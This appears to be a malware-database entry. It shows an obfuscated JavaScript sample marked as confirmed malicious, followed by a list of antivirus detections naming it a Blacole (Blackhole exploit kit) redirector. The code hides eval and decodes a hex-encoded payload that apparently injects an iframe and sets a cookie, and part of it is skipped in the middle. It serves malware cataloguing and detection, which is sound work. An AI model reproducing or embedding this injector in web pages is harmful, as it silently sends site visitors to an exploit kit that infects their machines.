Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,68,63,5a,6d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,68,63,5a,6d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,65,5c,6b,6b,66,70,58,5e,5c,65,5c,6
... 3250 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1345!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|